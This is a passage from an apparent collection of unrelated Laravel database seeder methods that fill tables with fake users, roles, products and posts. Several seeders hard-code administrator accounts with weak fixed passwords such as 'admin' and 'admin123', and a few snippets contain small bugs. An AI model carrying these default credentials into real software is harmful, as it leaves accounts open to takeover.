$this->call(UsersTableSeeder::class);\n\n $categories = factory(App\\Models\\Category::class, 10)->create();\n\n $categories->each(function ($category) {\n $category\n ->posts()\n ->saveMany(\n factory(App\\Models\\Post::class, 3)->make()\n );\n });\n }", "public function run()\n {\n $this->call(CategoriesTableSeeder::class);\n\n $users = factory(App\\User::class, 5)->create();\n $recipes = factory(App\\Recipe::class, 30)->create();\n $preparations = factory(App\\Preparation::class, 70)->create();\n $photos = factory(App\\Photo::class, 90)->create();\n $comments = factory(App\\Comment::class, 200)->create();\n $flavours = factory(App\\Flavour::class, 25)->create();\n $flavour_recipe = factory(App\\FlavourRecipe::class, 50)->create();\n $tags = factory(App\\Tag::class, 25)->create();\n $recipe_tag = factory(App\\RecipeTag::class, 50)->create();\n $ingredients = factory(App\\Ingredient::class, 25)->create();\n $ingredient_preparation = factory(App\\IngredientPreparation::class, 300)->create();\n \n \n \n DB::table('users')->insert(['name' => 'SimpleUtilisateur', 'email' => '[email protected]', 'password' => bcrypt('SimpleMotDePasse')]);\n \n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n // Sample::truncate();\n // TestItem::truncate();\n // UOM::truncate();\n Role::truncate();\n User::truncate();\n\n // factory(Role::class, 4)->create();\n Role::create([\n 'name'=> 'Director',\n 'description'=> 'Director type'\n ]);\n\n Role::create([\n 'name'=> 'Admin',\n 'description'=> 'Admin type'\n ]);\n Role::create([\n 'name'=> 'Employee',\n 'description'=> 'Employee type'\n ]);\n Role::create([\n 'name'=> 'Technician',\n 'description'=> 'Technician type'\n ]);\n \n factory(User::class, 20)->create()->each(\n function ($user){\n $roles = \\App\\Role::all()->random(mt_rand(1, 2))->pluck('id');\n $user->roles()->attach($roles);\n }\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n UsersLevel::create([\n 'name' => 'Administrator'\n ]);\n\n UsersLevel::create([\n 'name' => 'User'\n ]);\n\n User::create([\n 'username' => 'admin',\n 'password' => bcrypt('admin123'),\n 'level_id' => 1,\n 'fullname' => \"Super Admin\",\n 'email'=> \"[email protected]\"\n ]);\n\n\n \\App\\CategoryPosts::create([\n 'name' =>'Paket Trip'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' =>'Destinasi Kuliner'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Event'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Profil'\n ]);\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'avatar' => \"avatar\",\n 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',\n ]);\n $this->call(CategorySeeder::class);\n // \\App\\Models\\Admin::factory(1)->create();\n \\App\\Models\\User::factory(10)->create();\n // \\App\\Models\\Category::factory(50)->create();\n \\App\\Models\\PetComment::factory(50)->create();\n $pets = \\App\\Models\\Pet::factory(50)->create();\n foreach ($pets as $pet) {\n \\App\\Models\\PetTag::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\PetPhotoUrl::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\Order::factory(1)->create(['pet_id' => $pet->id]);\n };\n }", "public function run()\n { \n\n $this->call(RoleSeeder::class);\n \n $this->call(UserSeeder::class);\n\n Storage::deleteDirectory('socials-icon');\n Storage::makeDirectory('socials-icon');\n $socials = Social::factory(7)->create();\n\n Storage::deleteDirectory('countries-flag');\n Storage::deleteDirectory('countries-firm');\n Storage::makeDirectory('countries-flag');\n Storage::makeDirectory('countries-firm');\n $countries = Country::factory(18)->create();\n\n // Se llenan datos de la tabla muchos a muchos - social_country\n foreach ($countries as $country) {\n foreach ($socials as $social) {\n\n $country->socials()->attach($social->id, [\n 'link' => 'https://www.facebook.com/ministeriopalabrayespiritu/'\n ]);\n }\n }\n\n Person::factory(50)->create();\n\n Category::factory(7)->create();\n\n Video::factory(25)->create(); \n\n $this->call(PostSeeder::class);\n\n Storage::deleteDirectory('documents');\n Storage::makeDirectory('documents');\n Document::factory(25)->create();\n\n }", "public function run()\n {\n $faker = Faker::create('id_ID');\n /**\n * Generate fake author data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('author')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Generate fake publisher data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('publisher')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Seeding payment method\n */\n DB::table('payment')->insert([\n ['name' => 'Mandiri'],\n ['name' => 'BCA'],\n ['name' => 'BRI'],\n ['name' => 'BNI'],\n ['name' => 'Pos Indonesia'],\n ['name' => 'BTN'],\n ['name' => 'Indomaret'],\n ['name' => 'Alfamart'],\n ['name' => 'OVO'],\n ['name' => 'Cash On Delivery']\n ]);\n }", "public function run()\n {\n DatabaseSeeder::seedLearningStylesProbs();\n DatabaseSeeder::seedCampusProbs();\n DatabaseSeeder::seedGenderProbs();\n DatabaseSeeder::seedTypeStudentProbs();\n DatabaseSeeder::seedTypeProfessorProbs();\n DatabaseSeeder::seedNetworkProbs();\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n // MyList::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 3; $i++) {\n MyList::create([\n 'title' => 'List-'.($i+1),\n 'color' => $faker->sentence,\n 'icon' => $faker->randomDigitNotNull,\n 'index' => $faker->randomDigitNotNull,\n 'user_id' => 1,\n ]);\n }\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Products::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few products in our database:\n for ($i = 0; $i < 50; $i++) {\n Products::create([\n 'name' => $faker->word,\n 'sku' => $faker->randomNumber(7, false),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n User::create([\n 'name' => 'Pablo Rosales',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'status' => 1,\n 'role_id' => 1,\n 'movil' => 0\n ]);\n\n User::create([\n 'name' => 'Usuario Movil',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'status' => 1,\n 'role_id' => 3,\n 'movil' => 1\n ]);\n\n Roles::create([\n 'name' => 'Administrador'\n ]);\n Roles::create([\n 'name' => 'Operaciones'\n ]);\n Roles::create([\n 'name' => 'Comercial'\n ]);\n Roles::create([\n 'name' => 'Aseguramiento'\n ]);\n Roles::create([\n 'name' => 'Facturación'\n ]);\n Roles::create([\n 'name' => 'Creditos y Cobros'\n ]);\n\n factory(App\\Customers::class, 100)->create();\n }", "public function run()\n {\n // php artisan db:seed --class=StoreTableSeeder\n\n foreach(range(1,20) as $i){\n $faker = Faker::create();\n Store::create([\n 'name' => $faker->name,\n 'desc' => $faker->text,\n 'tags' => $faker->word,\n 'address' => $faker->address,\n 'longitude' => $faker->longitude($min = -180, $max = 180),\n 'latitude' => $faker->latitude($min = -90, $max = 90),\n 'created_by' => '1'\n ]);\n }\n\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name'=>\"test\",\n 'password' => Hash::make('123'),\n 'email'=>'[email protected]'\n ]);\n DB::table('tags')->insert(['name'=>'tags']);\n $this->call(UserSeed::class);\n $this->call(CategoriesSeed::class);\n $this->call(TopicsSeed::class);\n $this->call(CommentariesSeed::class);\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n echo 'seeding permission...', PHP_EOL;\n $permissions = [\n 'role-list',\n 'role-create',\n 'role-edit',\n 'role-delete',\n 'formation-list',\n 'formation-create',\n 'formation-edit',\n 'formation-delete',\n 'user-list',\n 'user-create',\n 'user-edit',\n 'user-delete'\n ];\n foreach ($permissions as $permission) {\n Permission::create(['name' => $permission]);\n }\n echo 'seeding users...', PHP_EOL;\n\n $user= User::create(\n [\n 'name' => 'Mr. admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'remember_token' => null,\n ]\n );\n echo 'Create Roles...', PHP_EOL;\n Role::create(['name' => 'former']);\n Role::create(['name' => 'learner']);\n Role::create(['name' => 'admin']);\n Role::create(['name' => 'manager']);\n Role::create(['name' => 'user']);\n\n echo 'seeding Role User...', PHP_EOL;\n $user->assignRole('admin');\n $role = $user->assignRole('admin');\n $role->givepermissionTo(Permission::all());\n\n \\DB::table('languages')->insert(['name' => 'English', 'code' => 'en']);\n \\DB::table('languages')->insert(['name' => 'Français', 'code' => 'fr']);\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsSeeder::class);\n $this->call(RolesSeeder::class);\n $this->call(ThemeSeeder::class);\n\n //\n\n DB::table('paypal_info')->insert([\n 'client_id' => '',\n 'client_secret' => '',\n 'currency' => '',\n ]);\n DB::table('contact_us')->insert([\n 'content' => '',\n ]);\n DB::table('setting')->insert([\n 'site_name' => ' ',\n ]);\n DB::table('terms_and_conditions')->insert(['terms_and_condition' => 'text']);\n }", "public function run()\n {\n $this->call([\n UserSeeder::class,\n ]);\n\n User::factory(20)->create();\n Author::factory(20)->create();\n Book::factory(60)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UserSeeder::class);\n $this->call(RolePermissionSeeder::class);\n $this->call(AppmodeSeeder::class);\n\n // \\App\\Models\\Appmode::factory(3)->create();\n \\App\\Models\\Doctor::factory(100)->create();\n \\App\\Models\\Unit::factory(50)->create();\n \\App\\Models\\Broker::factory(100)->create();\n \\App\\Models\\Patient::factory(100)->create();\n \\App\\Models\\Expence::factory(100)->create();\n \\App\\Models\\Testcategory::factory(100)->create();\n \\App\\Models\\Test::factory(50)->create();\n \\App\\Models\\Parameter::factory(50)->create();\n \\App\\Models\\Sale::factory(50)->create();\n \\App\\Models\\SaleItem::factory(100)->create();\n \\App\\Models\\Goption::factory(1)->create();\n \\App\\Models\\Pararesult::factory(50)->create();\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // DB::table('roles')->insert(\n // [\n // ['name' => 'admin', 'description' => 'Administrator'],\n // ['name' => 'student', 'description' => 'Student'],\n // ['name' => 'lab_tech', 'description' => 'Lab Tech'],\n // ['name' => 'it_staff', 'description' => 'IT Staff Member'],\n // ['name' => 'it_manager', 'description' => 'IT Manager'],\n // ['name' => 'lab_manager', 'description' => 'Lab Manager'],\n // ]\n // );\n\n // DB::table('users')->insert(\n // [\n // 'username' => 'admin', \n // 'password' => Hash::make('password'), \n // 'active' => 1,\n // 'name' => 'Administrator',\n // 'email' => '[email protected]',\n // 'role_id' => \\App\\Role::where('name', 'admin')->first()->id\n // ]\n // );\n\n DB::table('status')->insert([\n // ['name' => 'Active'],\n // ['name' => 'Cancel'],\n // ['name' => 'Disable'],\n // ['name' => 'Open'],\n // ['name' => 'Closed'],\n // ['name' => 'Resolved'],\n ['name' => 'Used'],\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create([\n 'name' => 'Qwerty',\n 'email' => '[email protected]',\n 'password' => bcrypt('secretpassw'),\n ]);\n\n factory(User::class, 59)->create([\n 'password' => bcrypt('secretpassw'),\n ]);\n\n for ($i = 1; $i < 11; $i++) {\n factory(Category::class)->create([\n 'name' => 'Category ' . $i,\n ]);\n }\n\n for ($i = 1; $i < 101; $i++) {\n factory(Product::class)->create([\n 'name' => 'Product ' . $i,\n ]);\n }\n }", "public function run()\n {\n\n \t// Making main admin role\n \tDB::table('roles')->insert([\n 'name' => 'Admin',\n ]);\n\n // Making main category\n \tDB::table('categories')->insert([\n 'name' => 'Other',\n ]);\n\n \t// Making main admin account for testing\n \tDB::table('users')->insert([\n 'name' \t\t=> 'Admin',\n 'email' \t=> '[email protected]',\n 'password' => bcrypt('12345'),\n 'role_id' => 1,\n 'created_at' => date('Y-m-d H:i:s' ,time()),\n 'updated_at' => date('Y-m-d H:i:s' ,time())\n ]);\n\n \t// Making random users and posts\n factory(App\\User::class, 10)->create();\n factory(App\\Post::class, 35)->create();\n }", "public function run()\n {\n $faker = Faker::create();\n\n \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Chef',\n 'salario' => '15000.00'\n ));\n\n\t\t \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Mesonero',\n 'salario' => '12000.00'\n ));\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = \\Faker\\Factory::create();\n\n foreach (range(1,5) as $index) {\n Lista::create([\n 'name' => $faker->sentence(2),\n 'description' => $faker->sentence(10), \n ]);\n } \n\n foreach (range(1,20) as $index) {\n $n = $faker->sentence(2);\n \tTarea::create([\n \t\t'name' => $n,\n \t\t'description' => $faker->sentence(10),\n 'lista_id' => $faker->numberBetween(1,5),\n 'slug' => Str::slug($n),\n \t\t]);\n } \n }", "public function run()\n {\n $faker = Faker::create('lt_LT');\n\n DB::table('users')->insert([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n DB::table('users')->insert([\n 'name' => 'user2',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n\n foreach (range(1,100) as $val)\n DB::table('authors')->insert([\n 'name' => $faker->firstName(),\n 'surname' => $faker->lastName(),\n \n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UsersTableSeeder::class);\n\n // DB::table('users')->insert([\n // 'name' => 'User1',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('password'),\n // ]);\n\n\n $faker = Faker::create();\n \n foreach (range(1,10) as $index){\n DB::table('companies')->insert([\n 'name' => $faker->company(),\n 'email' => $faker->email(10).'@gmail.com',\n 'logo' => $faker->image($dir = '/tmp', $width = 640, $height = 480),\n 'webiste' => $faker->domainName(),\n \n ]);\n }\n \n \n foreach (range(1,10) as $index){\n DB::table('employees')->insert([\n 'first_name' => $faker->firstName(),\n 'last_name' => $faker->lastName(),\n 'company' => $faker->company(),\n 'email' => $faker->str_random(10).'@gmail.com',\n 'phone' => $faker->e164PhoneNumber(),\n \n ]);\n }\n\n\n\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Flight::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n\n\n Flight::create([\n 'flightNumber' => $faker->randomNumber(5),\n 'depAirport' => $faker->city,\n 'destAirport' => $faker->city,\n 'reservedWeight' => $faker->numberBetween(1000 - 10000),\n 'deptTime' => $faker->dateTime('now'),\n 'arrivalTime' => $faker->dateTime('now'),\n 'reservedVolume' => $faker->numberBetween(1000 - 10000),\n 'airlineName' => $faker->colorName,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->truncteTables([\n 'users',\n 'products'\n ]);\n\n $this->call(UsersSeeder::class);\n $this->call(ProductsSeeder::class);\n\n }", "public function run()\n {\n /**\n * Dummy seeds\n */\n DB::table('metas')->truncate();\n $faker = Faker::create();\n\n for ($i=0; $i < 10; $i++) { \n DB::table('metas')->insert([\n 'id_rel' => $faker->randomNumber(),\n 'titulo' => $faker->sentence,\n 'descricao' => $faker->paragraph,\n 'justificativa' => $faker->paragraph,\n 'valor_inicial' => $faker->numberBetween(0,100),\n 'valor_atual' => $faker->numberBetween(0,100),\n 'valor_final' => $faker->numberBetween(0,10),\n 'regras' => json_encode([$i => [\"values\" => $faker->words(3)]]),\n 'types' => json_encode([$i => [\"values\" => $faker->words(2)]]),\n 'categorias' => json_encode([$i => [\"values\" => $faker->words(4)]]),\n 'tags' => json_encode([$i => [\"values\" => $faker->words(5)]]),\n 'active' => true,\n ]);\n }\n\n\n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n\n $faker = Faker::create();\n\n $lessonIds = Lesson::lists('id')->all(); // An array of ID's in that table [1, 2, 3, 4, 5, 7]\n $tagIds = Tag::lists('id')->all();\n\n foreach(range(1, 30) as $index)\n {\n // a real lesson id\n // a real tag id\n DB::table('lesson_tag')->insert([\n 'lesson_id' => $faker->randomElement($lessonIds),\n 'tag_id' => $faker->randomElement($tagIds),\n ]);\n }\n }", "public function run()\n {\n $this->call(CategoriasTableSeeder::class);\n $this->call(UfsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(UserTiposTableSeeder::class);\n factory(App\\User::class, 2)->create();\n/* factory(App\\Models\\Categoria::class, 20)->create();*/\n/* factory(App\\Models\\Anuncio::class, 50)->create();*/\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n Language::truncate();\n Reason::truncate();\n Report::truncate();\n Category::truncate();\n Position::truncate();\n\n $languageQuantity = 10;\n $reasonQuantity = 10;\n $reportQuantity = 10;\n $categoryQuantity = 10;\n $positionQuantity = 10;\n\n factory(Language::class,$languageQuantity)->create();\n factory(Reason::class,$reasonQuantity)->create();\n \n factory(Report::class,$reportQuantity)->create();\n \n factory(Category::class,$categoryQuantity)->create();\n \n factory(Position::class,$positionQuantity)->create();\n\n }", "public function run()\n {\n // \\DB::statement('SET_FOREIGN_KEY_CHECKS=0');\n \\DB::table('users')->truncate();\n \\DB::table('posts')->truncate();\n // \\DB::table('category')->truncate();\n \\DB::table('photos')->truncate();\n \\DB::table('comments')->truncate();\n \\DB::table('comment_replies')->truncate();\n\n \\App\\Models\\User::factory()->times(10)->hasPosts(1)->create();\n \\App\\Models\\Role::factory()->times(10)->create();\n \\App\\Models\\Category::factory()->times(10)->create();\n \\App\\Models\\Comment::factory()->times(10)->hasReplies(1)->create();\n \\App\\Models\\Photo::factory()->times(10)->create();\n\n \n // \\App\\Models\\User::factory(10)->create([\n // 'role_id'=>2,\n // 'is_active'=>1\n // ]);\n\n // factory(App\\Models\\Post::class, 10)->create();\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call([\n ArticleSeeder::class, \n TagSeeder::class,\n Arttagrel::class\n ]);\n // \\App\\Models\\User::factory(10)->create();\n \\App\\Models\\Article::factory()->count(7)->create();\n \\App\\Models\\Tag::factory()->count(15)->create(); \n \\App\\Models\\Arttagrel::factory()->count(15)->create(); \n }", "public function run()\n {\n $this->call(ArticulosTableSeeder::class);\n /*DB::table('articulos')->insert([\n 'titulo' => str_random(50),\n 'cuerpo' => str_random(200),\n ]);*/\n }", "public function run()\n {\n $this->call(CategoryTableSeeder::class);\n $this->call(ProductTableSeeder::class);\n\n \t\t\n\t\t\tDB::table('users')->insert([\n 'first_name' => 'Ignacio',\n 'last_name' => 'Garcia',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456'),\n 'role' => '1',\n 'avatar' => 'CGnABxNYYn8N23RWlvTTP6C2nRjOLTf8IJcbLqRP.jpeg',\n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(RoleSeeder::class);\n $this->call(UserSeeder::class);\n\n Medicamento::factory(50)->create();\n Reporte::factory(5)->create();\n Cliente::factory(200)->create();\n Asigna_valor::factory(200)->create();\n Carga::factory(200)->create();\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n TicketSeeder::class\n ]);\n\n DB::table('departments')->insert([\n 'abbr' => 'IT',\n 'name' => 'Information Technologies',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'email_verified_at' => Carbon::now(),\n 'password' => Hash::make('admin'),\n 'department_id' => 1,\n 'avatar' => 'default.png',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('role_user')->insert([\n 'role_id' => 1,\n 'user_id' => 1\n ]);\n }", "public function run()\n {\n \\App\\Models\\Article::factory(20)->create();\n \\App\\Models\\Category::factory(5)->create();\n \\App\\Models\\Comment::factory(40)->create();\n\n \\App\\Models\\User::create([\n \"name\"=>\"Alice\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n \\App\\Models\\User::create([\n \"name\"=>\"Bob\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n }", "public function run()\n {\n /** \n * Note: You must add these lines to your .env file for this Seeder to work (replace the values, obviously):\n SEEDER_USER_FIRST_NAME = 'Firstname'\n SEEDER_USER_LAST_NAME = 'Lastname'\n\t\tSEEDER_USER_DISPLAY_NAME = 'Firstname Lastname'\n\t\tSEEDER_USER_EMAIL = [email protected]\n SEEDER_USER_PASSWORD = yourpassword\n */\n\t\tDB::table('users')->insert([\n 'user_first_name' => env('SEEDER_USER_FIRST_NAME'),\n 'user_last_name' => env('SEEDER_USER_LAST_NAME'),\n 'user_name' => env('SEEDER_USER_DISPLAY_NAME'),\n\t\t\t'user_email' => env('SEEDER_USER_EMAIL'),\n 'user_status' => 1,\n \t'password' => Hash::make((env('SEEDER_USER_PASSWORD'))),\n 'permission_fk' => 1,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,3)->create()->each(\n \tfunction($user)\n \t{\n \t\t$user->questions()\n \t\t->saveMany(\n \t\t\tfactory(App\\Question::class, rand(2,6))->make()\n \t\t)\n ->each(function ($q) {\n $q->answers()->saveMany(factory(App\\Answer::class, rand(1,5))->make());\n })\n \t}\n );\n }\n}", "public function run()\n {\n $faker = Faker::create();\n\n // $this->call(UsersTableSeeder::class);\n\n DB::table('posts')->insert([\n 'id'=>str_random(1),\n 'user_id'=> str_random(1),\n 'title' => $faker->name,\n 'body' => $faker->safeEmail,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s'),\n ]);\n }", "public function run()\n\t{\n\t\tDB::table(self::TABLE_NAME)->delete();\n\n\t\tforeach (seed(self::TABLE_NAME) as $row)\n\t\t\t$records[] = [\n\t\t\t\t'id'\t\t\t\t=> $row->id,\n\t\t\t\t'created_at'\t\t=> $row->created_at ?? Carbon::now(),\n\t\t\t\t'updated_at'\t\t=> $row->updated_at ?? Carbon::now(),\n\n\t\t\t\t'sport_id'\t\t\t=> $row->sport_id,\n\t\t\t\t'gender_id'\t\t\t=> $row->gender_id,\n\t\t\t\t'tournamenttype_id'\t=> $row->tournamenttype_id ?? null,\n\n\t\t\t\t'name'\t\t\t\t=> $row->name,\n\t\t\t\t'external_id'\t\t=> $row->external_id ?? null,\n\t\t\t\t'is_top'\t\t\t=> $row->is_top ?? null,\n\t\t\t\t'logo'\t\t\t\t=> $row->logo ?? null,\n\t\t\t\t'position'\t\t\t=> $row->position ?? null,\n\t\t\t];\n\n\t\tinsert(self::TABLE_NAME, $records ?? []);\n\t}", "public function run()\n\t{\n\t\tDB::table('libros')->truncate();\n\n\t\t$faker = Faker\\Factory::create();\n\n\t\tfor ($i=0; $i < 10; $i++) { \n\t\t\tLibro::create([\n\n\t\t\t\t'titulo'\t\t=> $faker->text(40),\n\t\t\t\t'isbn'\t\t\t=> $faker->numberBetween(100,999),\n\t\t\t\t'precio'\t\t=> $faker->randomFloat(2,3,150),\n\t\t\t\t'publicado'\t\t=> $faker->numberBetween(0,1),\n\t\t\t\t'descripcion'\t=> $faker->text(400),\n\t\t\t\t'autor_id'\t\t=> $faker->numberBetween(1,3),\n\t\t\t\t'categoria_id'\t=> $faker->numberBetween(1,3)\n\n\t\t\t]);\n\t\t}\n\n\t\t// Uncomment the below to run the seeder\n\t\t// DB::table('libros')->insert($libros);\n\t}", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 10)->create()->each(function ($user) {\n // Seed the relation with 5 purchases\n // $videos = factory(App\\Video::class, 5)->make();\n // $user->videos()->saveMany($videos);\n // $user->videos()->each(function ($video){\n // \t$video->videometa()->save(factory(App\\VideoMeta::class)->make());\n // \t// :( \n // });\n factory(App\\User::class, 10)->create()->each(function ($user) {\n\t\t\t factory(App\\Video::class, 5)->create(['user_id' => $user->id])->each(function ($video) {\n\t\t\t \tfactory(App\\VideoMeta::class, 1)->create(['video_id' => $video->id]);\n\t\t\t // $video->videometa()->save(factory(App\\VideoMeta::class)->create(['video_id' => $video->id]));\n\t\t\t });\n\t\t\t});\n\n });\n }", "public function run()\n {\n // for($i=1;$i<11;$i++){\n // DB::table('post')->insert(\n // ['title' => 'Title'.$i,\n // 'post' => 'Post'.$i,\n // 'slug' => 'Slug'.$i]\n // );\n // }\n $faker = Faker\\Factory::create();\n \n for($i=1;$i<20;$i++){\n $dname = $faker->name;\n DB::table('post')->insert(\n ['title' => $dname,\n 'post' => $faker->text($maxNbChars = 200),\n 'slug' => str_slug($dname)]\n );\n }\n }", "public function run()\n {\n $this->call([\n CountryTableSeeder::class,\n ProvinceTableSeeder::class,\n TagTableSeeder::class\n ]);\n\n User::factory()->count(10)->create();\n Category::factory()->count(5)->create();\n Product::factory()->count(20)->create();\n Section::factory()->count(5)->create();\n Bundle::factory()->count(20)->create();\n\n $bundles = Bundle::all();\n // populate bundle-product table (morph many-to-many)\n Product::all()->each(function ($product) use ($bundles) {\n $product->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray(),\n ['default_quantity' => rand(1, 10)]\n );\n });\n // populate bundle-tags table (morph many-to-many)\n Tag::all()->each(function ($tag) use ($bundles) {\n $tag->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray()\n );\n });\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Contract::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Contract::create([\n 'serialnumbers' => $faker->numberBetween($min = 1000000, $max = 2000000),\n 'address' => $faker->address,\n 'landholder' => $faker->lastName,\n 'renter' => $faker->lastName,\n 'price' => $faker->numberBetween($min = 10000, $max = 50000),\n 'rent_start' => $faker->date($format = 'Y-m-d', $max = 'now'),\n 'rent_end' => $faker->date($format = 'Y-m-d', $max = 'now'),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker=Faker\\Factory::create();\n\n for($i=0;$i<100;$i++){\n \tApp\\Blog::create([\n \t\t'title' => $faker->catchPhrase,\n 'description' => $faker->text,\n 'showns' =>true\n \t\t]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // TO PREVENT CHECKS FOR foreien key in seeding\n\n User::truncate();\n Category::truncate();\n Product::truncate();\n Transaction::truncate();\n\n DB::table('category_product')->truncate();\n\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n $usersQuantities = 1000;\n $categoriesQuantities = 30;\n $productsQuantities = 1000;\n $transactionsQuantities = 1000;\n\n factory(User::class, $usersQuantities)->create();\n factory(Category::class, $categoriesQuantities)->create();\n\n factory(Product::class, $productsQuantities)->create()->each(\n function ($product) {\n $categories = Category::all()->random(mt_rand(1, 5))->pluck('id');\n $product->categories()->attach($categories);\n });\n\n factory(Transaction::class, $transactionsQuantities)->create();\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n\n $this->call(BusinessTableSeeder::class);\n $this->call(PrinterTableSeeder::class);\n factory(App\\Tag::class,10)->create();\n factory(App\\Category::class,10)->create();\n factory(App\\Subcategory::class,50)->create();\n factory(App\\Provider::class,10)->create();\n factory(App\\Product::class,24)->create()->each(function($product){\n\n $product->images()->saveMany(factory(App\\Image::class, 4)->make());\n\n });\n\n\n factory(App\\Client::class,10)->create();\n }", "public function run()\n {\n Article::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'name' => $faker->sentence,\n 'sku' => $faker->paragraph,\n 'price' => $faker->number,\n ]);\n }\n }", "public function run()\n {\n Storage::deleteDirectory('public/products');\n Storage::makeDirectory('public/products');\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n $this->call(ProductSeeder::class);\n Order::factory(4)->create();\n Order_Detail::factory(4)->create();\n Size::factory(100)->create();\n }", "public function run()\n {\n $this->call(RolSeeder::class);\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n Doctor::factory(25)->create();\n Patient::factory(50)->create();\n Status::factory(3)->create();\n Appointment::factory(100)->create();\n }", "public function run()\n\t{\n\t\t\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tTodolist::truncate();\n\n\t\tforeach(range(1, 50) as $index)\n\t\t{\n\n\t\t\t$user = User::create([\n\t\t\t\t'name' => $faker->name,\n\t\t\t\t'email' => $faker->email,\n\t\t\t\t'password' => 'password',\n\t\t\t\t'confirmation_code' => mt_rand(0, 9),\n\t\t\t\t'confirmation' => rand(0,1) == 1\n\t\t\t]);\n\n\t\t\t$list = Todolist::create([\n\t\t\t\t'name' => $faker->sentence(2),\n\t\t\t\t'description' => $faker->sentence(4),\n\t\t\t]);\n\n\t\t\t// BUILD SOME TASKS FOR EACH LIST ITEM\n\t\t\tforeach(range(1, 10) as $index) \n\t\t\t{\n\t\t\t\t$task = new Task;\n\t\t\t\t$task->name = $faker->sentence(2);\n\t\t\t\t$task->description = 